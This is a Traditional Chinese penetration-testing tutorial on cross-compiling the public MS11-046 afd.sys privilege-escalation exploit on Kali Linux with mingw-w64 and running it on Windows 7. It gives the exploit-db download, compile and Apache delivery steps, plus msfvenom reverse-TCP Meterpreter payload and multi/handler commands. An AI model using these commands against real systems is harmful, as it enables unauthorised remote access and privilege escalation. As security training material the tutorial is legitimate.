如何在Kali Linux上編譯Windows漏洞!
Mingw-w64是一個用於建立Windows應用程式的自由和開源軟體開發環境。 Mingw-w64最初叫Mingw32,它當時不支援64位元架構。在本教學中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。
Mingw-w64是一個用於建立Windows應用程式的自由和開源軟體開發環境。 Mingw-w64最初叫Mingw32,它當時不支援64位元架構。
在本教學中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。
1、在Kali Linux上安裝Mingw-w64
預設情況下,Kali Linux 2016.2和更低版本上未安裝Mingw-w64。 因此,我們需要先安裝它,然後才能在Linux上編譯Windows漏洞。 執行以下命令,安裝Mingw-w64:
apt-get update apt-get install mingw-w64
使用apt-get install mingw-w64在您的Kali主機上安裝mingw-w64。
鍵入y為yes,以確認並繼續Mingw-w64安裝過程。 下載和安裝Mingw-w64可能需要一段時間才能完成。
2、無法找到程式包mingw-w64的解決方法
有時,你嘗試安裝mingw-w64包時得到一個無法找到包mingw-w64的錯誤,並得到類似如下提示:
root@kali:~# apt-getinstall mingw-w64 Reading package lists…Done Building dependency tree Reading stateinformation… Done E: Unable to locatepackage mingw-w64
要解決這個問題,請確保在sources.list檔案中具有正確的儲存庫。您可以使用nano編輯檔案:
/etc/apt/sources.list
確保您在此檔案中具有正確的儲存庫。 您可以在以下頁面上找到不同版本的Kali Linux的儲存庫:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
使用sources.list檔案中的正確的儲存庫,您需要執行apt-get update,然後再次執行Mingw-w64軟體包的安裝命令。
3、用Mingw-w64交叉編譯Windows漏洞利用
現在我們已經安裝了Mingw-w64,可以開始編譯Windows漏洞利用程式了。 對於本教學,我們將編譯一個用C編寫的Windows漏洞利用程式,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows作業系統在輔助功能驅動程式(AFD)中包含一個漏洞,允許已認證的非管理使用者提升許可權。即使Mingw-w64是為非常需要的64位元支援開發的,我們也可以編譯32位元Windows漏洞。 讓我們來看看如何編譯32位元Windows漏洞。
讓我們從Exploit-db下載漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令編譯Windows 32位元的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
以下命令將編譯Windows 7 afd.sys特權升級漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
編譯Windows漏洞。
要將漏洞利用程式轉移到目標主機,我們將使用內建的ApacheWeb伺服器來提供它。 最後2個命令會將exploit複製到Apache主目錄並啟動Apache Web伺服器。
當我們從cmd.exe下載並執行該漏洞時,它將如下所示:
漏洞利用成功執行。
因為我們可以看到whoami命令在執行exploit之前返回一個普通使用者許可權,之後顯示是system使用者許可權。這個exploit實際上在當前shell中生成一個新的shell,而不是在新視窗中建立一個新的shell。這意味著我們也可以從命令列shell執行此漏洞利用程式,例如Meterpreter。讓我們看看如何從Meterpreter對談執行漏洞利用。
4、利用編譯錯誤
當編譯針對不同架構和作業系統的漏洞時,可能會發生許多錯誤。有很多因素可能導致編譯失敗,例如:語法,庫,主機和目標體系結構,用於編譯程式碼的已安裝軟體等等。一些錯誤可能很容易修復,有些錯誤則不是。同樣重要的是不同的警告來自致命的錯誤,因為警告可能只是指示一些類似的過時的功能,不能阻止漏洞的工作。致命錯誤會阻止漏洞利用,因此需要修復。
處理編譯錯誤的最佳方法是仔細閱讀,然後在Google上搜尋解決方案。通常你不是第一個也不是唯一面對某個編譯錯誤的人,因此沒有必要重新發明輪子。線上資源(如堆疊交換)通常為您提供最常見的編譯錯誤的可能解決方案。
5、從Meterpreter shell中利用MS11-046
讓我們使用Msfvenom快速生成Windows 32位元Meterpreter反向TCP有效負載,並在目標主機上執行它。 我們將在Metasploit中使用多處理程式來捕獲反向shell。
使用以下命令使用Msfvenom建立有效負載:
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
請務必更換偵聽主機IP,必要時更換偵聽埠。現在啟動msfconsole並執行以下命令來設定多處理器漏洞:
use exploit/multi/handler set lhost [listening host IP] set lport 4444 run
在埠4444上啟動反向TCP處理程式。
然後下載利用程式到目標主機並執行它。 如果一切設定正確,您應該在msfconsole上收到一個反向Meterpreter shell:
目標主機連線回Kali。
在Meterpreter命令列上執行下一“shell”命令並執行特權升級漏洞利用程式將shell升級到系統shell:
特權升級攻擊通過我們的Meterpreter對談成功執行。
正如你可以看到的,shell從特權測試使用者shell變化到系統shell。 請注意,在執行它的shell中生成一個新的系統shell。 因此,我們不能看到利用輸出,因為它是在有限的特權的舊shell。
您可以通過鍵入Exit來驗證這一點,將退出系統shell並返回到仍包含Windows 7許可權升級exploit輸出的使用者shell:
特權使用者shell上的exploit輸出。
學到的東西
在本教學中,我們已經了解了在Linux上針對Windows的交叉編譯漏洞的基礎知識。 我們已經學習了如何在Kali Linux上安裝Mingw-w64並解決最常見的安裝問題。 為了練習漏洞編譯過程,我們編譯了一個針對Windows7 x86的特權提升漏洞。 這也稱為交叉編譯。
我們已成功的在目標主機上執行已編譯的可執行檔案,並將shell從有限的使用者shell升級到系統shell。 我們已經知道,這個特殊的exploit在shell中生成了一個shell,在這個shell中執行了exploit。 這樣,我們還可以從命令列(例如Meterpreter shell)執行特權提升漏洞利用。
最後但同樣重要的是,我們已經了解了如何在編譯過程中修復錯誤。